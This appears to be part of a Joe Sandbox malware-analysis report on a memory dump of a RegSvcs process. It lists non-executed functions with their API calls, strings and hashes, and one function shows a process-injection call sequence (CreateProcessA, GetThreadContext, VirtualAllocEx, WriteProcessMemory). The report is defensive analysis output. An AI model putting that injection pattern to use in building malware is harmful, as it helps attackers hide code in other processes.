Instruction ID: bc7465baf16aac579654f4ee726a40ebde765d5b47a6fba71537ca3684cb7cf5
Opcode Fuzzy Hash: 16fb6ca28f44bc769542cee678ba815e9a8f2471971720bd61ea7338c613dabc
Instruction Fuzzy Hash: B3F0F971B00214A7C700BBADDD0774D7B74E706B24F91036EE811672D3EA791A0447DB

Non-executed Functions

Function 004293ED Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 167libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004293F3
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00429401
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00429412
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00429423
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00429434
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00429445
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00429456
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00429467
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00429478
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00429489
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0042949A
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 004294AB
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 004294BC
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 004294CD
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004294DE
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004294EF
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00429500
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00429511
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00429522
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00429533
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00429544
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00429555
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00429566
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00429577
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00429588
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00429599
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 004295AA
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 004295BB
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 004295CC
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 004295DD
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 004295EE
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 004295FF
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00429610
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00429621
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00429632
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00429643
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00429654
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00429665
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00429676
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00429687
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00429698

Strings

CreateThreadpoolWork, xrefs: 00429638
FlsGetValue, xrefs: 00429418
WaitForThreadpoolTimerCallbacks, xrefs: 004294B1
SleepConditionVariableSRW, xrefs: 00429627
CompareStringEx, xrefs: 0042966B
GetSystemTimePreciseAsFileTime, xrefs: 0042958E
AcquireSRWLockExclusive, xrefs: 004295F4
kernel32.dll, xrefs: 004293EE
CloseThreadpoolTimer, xrefs: 004294C2
FlushProcessWriteBuffers, xrefs: 00429506
FreeLibraryWhenCallbackReturns, xrefs: 00429517
CreateSymbolicLinkW, xrefs: 0042953E
InitOnceExecuteOnce, xrefs: 0042944B
GetLocaleInfoEx, xrefs: 0042967C
FlsAlloc, xrefs: 004293FB
LCMapStringEx, xrefs: 0042968D
GetCurrentPackageId, xrefs: 0042954A
CreateEventExW, xrefs: 0042945C
InitializeConditionVariable, xrefs: 0042959F
FlsSetValue, xrefs: 00429429
SetThreadpoolWait, xrefs: 004294E4
WakeAllConditionVariable, xrefs: 004295C1
GetFileInformationByHandleEx, xrefs: 0042956C
GetCurrentProcessorNumber, xrefs: 00429528
CreateSemaphoreExW, xrefs: 0042947E
GetTickCount64, xrefs: 0042955B
CreateThreadpoolTimer, xrefs: 0042948F
ReleaseSRWLockExclusive, xrefs: 00429616
CloseThreadpoolWait, xrefs: 004294F5
CreateThreadpoolWait, xrefs: 004294D3
CreateSemaphoreW, xrefs: 0042946D
WakeConditionVariable, xrefs: 004295B0
SubmitThreadpoolWork, xrefs: 00429649
SetThreadpoolTimer, xrefs: 004294A0
FlsFree, xrefs: 00429407
InitializeSRWLock, xrefs: 004295E3
CloseThreadpoolWork, xrefs: 0042965A
SetFileInformationByHandle, xrefs: 0042957D
InitializeCriticalSectionEx, xrefs: 0042943A
SleepConditionVariableCS, xrefs: 004295D2
TryAcquireSRWLockExclusive, xrefs: 00429605

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 4670dea31c1608621281fd21892e7f61742321bec9bdc48a4d0cc8c6a5f12e6a
Instruction ID: 9db1d203b62b979cd5eac0c7f6a5698cb31e7315f3c9d30f48096ed1632c4aa7
Opcode Fuzzy Hash: 4670dea31c1608621281fd21892e7f61742321bec9bdc48a4d0cc8c6a5f12e6a
Instruction Fuzzy Hash: 3861AA71995360BBCB005FB4ED0DB563BA8BA1AB43324053FF901D25B6EBF980848B5D

Function 00408070 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 121memoryprocessthreadCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0040809D
CreateProcessA.KERNEL32 ref: 004080FB
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00408114
GetThreadContext.KERNEL32(?,00000000), ref: 00408129
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00408149
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 0040818B
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 004081A8
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00408261

Strings

invalid stoi argument, xrefs: 00408057
VUUU, xrefs: 00407F01
, xrefs: 00408140

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ProcessVirtual$AllocMemory$ContextCreateFileFreeModuleNameReadThreadWrite
String ID: $VUUU$invalid stoi argument
API String ID: 3796053839-3954507777
Opcode ID: a6eeef2fa584c0b932229ef9536b32f5c55a64671cb7b4344f52a608015dc893
Instruction ID: f041e695f941af7b06446caa1a3437145d5dac3473181cda5356b20cb1f842c2
Opcode Fuzzy Hash: a6eeef2fa584c0b932229ef9536b32f5c55a64671cb7b4344f52a608015dc893
Instruction Fuzzy Hash: 9A417F70644701AFD7209B60DD05F967BE8BF88B05F00042AB784A62E0DBB4E954CB9A

Function 00442126 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00436DD0: GetLastError.KERNEL32(00000000,00000000,?,00437BB7,?,00000000,00000000,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010), ref: 00436DD5
Part of subcall function 00436DD0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010,00431112,00000000,00000000,00000000), ref: 00436E73

GetACP.KERNEL32(?,?,?,?,?,?,004351D7,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 004421E7
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,004351D7,?,?,?,00000055,?,-00000050,?,?), ref: 00442212
_wcschr.LIBVCRUNTIME ref: 004422A6
_wcschr.LIBVCRUNTIME ref: 004422B4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00442375

Strings

aE, xrefs: 0044219D
utf8, xrefs: 004422E4

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8$aE
API String ID: 4147378913-399719714
Opcode ID: 5ec4bfb4ad63d56cc2308d790e3181faed87f106d0d47a9333c1811a31555170
Instruction ID: 5f90f548c6c6e364996cf661ccd3f022b14e1a3cc5b38b91ab9d96edb2a47106
Opcode Fuzzy Hash: 5ec4bfb4ad63d56cc2308d790e3181faed87f106d0d47a9333c1811a31555170
Instruction Fuzzy Hash: 3971E971600305AAF724AF36CD46BAB73A8EF48704F54406BFA05D7281EAFCE941866D

Function 00442A87 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00436DD0: GetLastError.KERNEL32(00000000,00000000,?,00437BB7,?,00000000,00000000,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010), ref: 00436DD5
Part of subcall function 00436DD0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010,00431112,00000000,00000000,00000000), ref: 00436E73

Part of subcall function 00436DD0: _free.LIBCMT ref: 00436E32
Part of subcall function 00436DD0: _free.LIBCMT ref: 00436E68

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00442B93
IsValidCodePage.KERNEL32(00000000), ref: 00442BDC
IsValidLocale.KERNEL32(?,00000001), ref: 00442BEB
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00442C33
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00442C52

Strings

aE, xrefs: 00442B40

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID: aE
API String ID: 949163717-2657188709
Opcode ID: 7700218cab09b4efaeec657f10b300e5570156f09a8e9f78ea85bd9c63e632fa
Instruction ID: 65e7fc6fd7df5464d0980f18d4520dc5feb52c9ba4fd3c8b7b1ad039447ec695
Opcode Fuzzy Hash: 7700218cab09b4efaeec657f10b300e5570156f09a8e9f78ea85bd9c63e632fa
Instruction Fuzzy Hash: F7519371A00245AFEB10DFA5CD45ABF77B8FF48701F85446AF900E7291DBB8A904CB69

Function 004428B2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00442BD0,00000002,00000000,?,?,?,00442BD0,?,00000000), ref: 0044294B
GetLocaleInfoW.KERNEL32(?,20001004,00442BD0,00000002,00000000,?,?,?,00442BD0,?,00000000), ref: 00442974
GetACP.KERNEL32(?,?,00442BD0,?,00000000), ref: 00442989

Strings

OCP, xrefs: 00442906
ACP, xrefs: 004428D0

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: da544cd987ee321140e620090b139fc81f4842a7e9bf52881ff3bc9f30605441
Instruction ID: af570630598a51fa7b062114fab0c15fdc0e2c648eac9bf648b74f7d766c84de
Opcode Fuzzy Hash: da544cd987ee321140e620090b139fc81f4842a7e9bf52881ff3bc9f30605441
Instruction Fuzzy Hash: 7021C4A2B00105A7F7348F14CA00B9BB3A6AB58F54FDA4166F90AD7324EBB6DD41C75C

Function 0042A4A5 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042A4B1
IsDebuggerPresent.KERNEL32 ref: 0042A57D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042A59D
UnhandledExceptionFilter.KERNEL32(?), ref: 0042A5A7

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 7bc20087304dc69425af26d90172f719b7b3eaa424f4063a30b44ab8ff03e3c4
Instruction ID: b10c2ea21ce6a5d2fe90161df8e04ace66a9c518b0087ce6fd1fcca5370ec2b0
Opcode Fuzzy Hash: 7bc20087304dc69425af26d90172f719b7b3eaa424f4063a30b44ab8ff03e3c4
Instruction Fuzzy Hash: 28310775D013289BDB10DFA4D989BCDBBB8AF08705F5041EAE40DAB250EB759A848F49

Function 004296A7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0042938F,00000000,?,?,?,004293C4,00412350,?,?,?,?,?,00428E68,00412350,00000001), ref: 004296C0
GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,0042938F,00000000,?,?,?,004293C4,00412350,?,?,?,?,?,00428E68), ref: 004296C4

Strings

p"B, xrefs: 004296BA

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$Precise
String ID: p"B
API String ID: 743729956-2496714718
Opcode ID: 8ceba82b2ce19afb895b1dff61bc97c27ae05f57bebffb06c926b77f9a408463
Instruction ID: 07f7e5af0bf60bc2275fd628d1950506e5c4dfde5ac2393f350775c1edb65769
Opcode Fuzzy Hash: 8ceba82b2ce19afb895b1dff61bc97c27ae05f57bebffb06c926b77f9a408463
Instruction Fuzzy Hash: 56D02236601238978F016B80FC085ADBB98EF04B12B440077F90D93231CBA29C108BDE

Function 00442539 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00436DD0: GetLastError.KERNEL32(00000000,00000000,?,00437BB7,?,00000000,00000000,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010), ref: 00436DD5
Part of subcall function 00436DD0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010,00431112,00000000,00000000,00000000), ref: 00436E73

Part of subcall function 00436DD0: _free.LIBCMT ref: 00436E32
Part of subcall function 00436DD0: _free.LIBCMT ref: 00436E68

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0044258D
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004425D7
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0044269D

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: 221d76c4318afbeaf3b95bd96d76aff6c49629ab69b412c2cc609c47c04b6745
Instruction ID: 5ea523c0ed242e2d20e30eb55798ab89f0a1b679829d1e62418643baced88ba9
Opcode Fuzzy Hash: 221d76c4318afbeaf3b95bd96d76aff6c49629ab69b412c2cc609c47c04b6745
Instruction Fuzzy Hash: 9A61B1716002179FEB28AF25DE82BAB77A8FF04310F51417BF905C6285E7B8D991CB58

Function 0042EE6D Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0042EF65
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0042EF6F
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0042EF7C

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 32501adab060376cdc0181eeebb2595e17cb320e8dd61b08f52dd60b715bba26
Instruction ID: f361088f0d4e0e4884128a2278aafb1a8dc27e766210c34af79892b09cc2d6a2
Opcode Fuzzy Hash: 32501adab060376cdc0181eeebb2595e17cb320e8dd61b08f52dd60b715bba26
Instruction Fuzzy Hash: 8231B574901228ABCB21DF65D98978DBBB8BF18714F5041EAE40CA6251E7749F818F49

Function 0042DE60 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,0042DE5F,00000000,00000000,?,00000000,?,00438071), ref: 0042DE82
TerminateProcess.KERNEL32(00000000,?,0042DE5F,00000000,00000000,?,00000000,?,00438071), ref: 0042DE89
ExitProcess.KERNEL32 ref: 0042DE9B

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 29340e7bfda7ad7b50886f96714fac72c92b3098ca6ce75e64e335c7c5e442b1
Instruction ID: e84422aa0ee7f81a9c8f6ca0bf171272c4cc3621c8a04ca038815eaafff8090d
Opcode Fuzzy Hash: 29340e7bfda7ad7b50886f96714fac72c92b3098ca6ce75e64e335c7c5e442b1
Instruction Fuzzy Hash: 29E04631500618ABCB113B59EC08A5A3B29EB50342F428469F804DA232CB79DC81CA89

Function 004389DE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00435D32,?,20001004,00000000,00000002,?,?,0043533F), ref: 00438A12

Strings

p"B, xrefs: 004389FD

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: p"B
API String ID: 2299586839-2496714718
Opcode ID: 32541793b72b530a81baa30765d9e49a508c946d45b2e2da03d61495df7fad4e
Instruction ID: 189f04a6c4868017904d1405b1ea4af0b54d8d3c83b69fb18bb0939a9bfb30bf
Opcode Fuzzy Hash: 32541793b72b530a81baa30765d9e49a508c946d45b2e2da03d61495df7fad4e
Instruction Fuzzy Hash: 5FE04F31540318BBCF126F61EC04EAEBF65EF48762F10402AFD0566231CF7A8921AADD

Function 0042A68F Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0042A6A5

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: ff96371d1ae292d9ada91ddf3d5dd7d0aad5fd29b9590dea8af1e6d6e4db4c05
Instruction ID: 1545e737f40d03c2a147906e889db0c95b9c198f752dabbe9d1e86782818eed4
Opcode Fuzzy Hash: ff96371d1ae292d9ada91ddf3d5dd7d0aad5fd29b9590dea8af1e6d6e4db4c05
Instruction Fuzzy Hash: 6F518FB1A003158BDB15CF55E8857AAB7F4FB48310F15846ACC05EB391E3B8DD50CBAA

Function 0044278C Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00436DD0: GetLastError.KERNEL32(00000000,00000000,?,00437BB7,?,00000000,00000000,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010), ref: 00436DD5
Part of subcall function 00436DD0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010,00431112,00000000,00000000,00000000), ref: 00436E73

Part of subcall function 00436DD0: _free.LIBCMT ref: 00436E32
Part of subcall function 00436DD0: _free.LIBCMT ref: 00436E68

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004427E0

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: add787d7845f4a774a03af30bae9e49826061530aecb263a1c1acf9e08ffd9be
Instruction ID: 07d3857131a968de86a97c751e810957ba826f5a53c4075382b3af7cb9a32e65
Opcode Fuzzy Hash: add787d7845f4a774a03af30bae9e49826061530aecb263a1c1acf9e08ffd9be
Instruction Fuzzy Hash: A92186726101166BEB28AF15DD42A7F77A8EF44314F50417FFD01D6251EBB8DD408A58

Function 00442413 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00436DD0: GetLastError.KERNEL32(00000000,00000000,?,00437BB7,?,00000000,00000000,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010), ref: 00436DD5
Part of subcall function 00436DD0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010,00431112,00000000,00000000,00000000), ref: 00436E73

EnumSystemLocalesW.KERNEL32(00442539,00000001,00000000,?,-00000050,?,00442B67,00000000,?,?,?,00000055,?), ref: 00442485

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e0d58fd9f92e47267dfe9193589d03fc88d9d93a5a080e76f54d0c721a2ebbce
Instruction ID: d0ca285bb40b9cc27fd9487dcd8eeb86c864f581bf4f90510ef8df1d4546dc35
Opcode Fuzzy Hash: e0d58fd9f92e47267dfe9193589d03fc88d9d93a5a080e76f54d0c721a2ebbce
Instruction Fuzzy Hash: 1F118C3B2007019FEB189F39D8A167BB791FF80318B58442EF94687B40D3B5B802C744

Function 004429B8 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00436DD0: GetLastError.KERNEL32(00000000,00000000,?,00437BB7,?,00000000,00000000,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010), ref: 00436DD5
Part of subcall function 00436DD0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010,00431112,00000000,00000000,00000000), ref: 00436E73

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00442755,00000000,00000000,?), ref: 004429E4

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: d2fe304e529daf8d3b897b426b2ff07608de749dc24f4138b1a974b2260efc35
Instruction ID: 52a21ec650ff7c036804ae91de2c8b3d93aac10a0350f988173e5e01ba25c219
Opcode Fuzzy Hash: d2fe304e529daf8d3b897b426b2ff07608de749dc24f4138b1a974b2260efc35
Instruction Fuzzy Hash: 40F0A9326101167BEB345A25CD45BBB7754EB40754F55442AFD06B3380EAB8FD41C5E4

Function 00442321 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00436DD0: GetLastError.KERNEL32(00000000,00000000,?,00437BB7,?,00000000,00000000,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010), ref: 00436DD5
Part of subcall function 00436DD0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010,00431112,00000000,00000000,00000000), ref: 00436E73

Part of subcall function 00436DD0: _free.LIBCMT ref: 00436E32
Part of subcall function 00436DD0: _free.LIBCMT ref: 00436E68

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00442375

Strings

aE, xrefs: 0044219D
utf8, xrefs: 004422E4

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorLast_free$InfoLocale
String ID: utf8$aE
API String ID: 2003897158-399719714
Opcode ID: aa57169f8023b9fd9dd72a25ef9c8c7edbfc890799864e4c4e1c76533f01937e
Instruction ID: beb5681054ba013d59b30fc56a9405a7517dad23acb6f2410d214f7bb116928b
Opcode Fuzzy Hash: aa57169f8023b9fd9dd72a25ef9c8c7edbfc890799864e4c4e1c76533f01937e
Instruction Fuzzy Hash: 29F08132610115ABD714AF35DD45ABE73A8DF49314F11017EBA02D7281EAB8AD058658

Function 004424AE Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00436DD0: GetLastError.KERNEL32(00000000,00000000,?,00437BB7,?,00000000,00000000,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010), ref: 00436DD5
Part of subcall function 00436DD0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010,00431112,00000000,00000000,00000000), ref: 00436E73

EnumSystemLocalesW.KERNEL32(0044278C,00000001,FFFFFFFF,?,-00000050,?,00442B2B,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 004424F8

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: b11d4a962aa4a2a0845aae4fea630016b8f5c5a8637a8f79b9017eceb009fff5
Instruction ID: ed1eade6f59818560fa4daa2aac7664302146382423b6d12c41e9c9b2339d524
Opcode Fuzzy Hash: b11d4a962aa4a2a0845aae4fea630016b8f5c5a8637a8f79b9017eceb009fff5
Instruction Fuzzy Hash: 2EF0F6363003046FEB245F399D81A7B7B91EF81768F55842EF9058B690C6F59C41C798

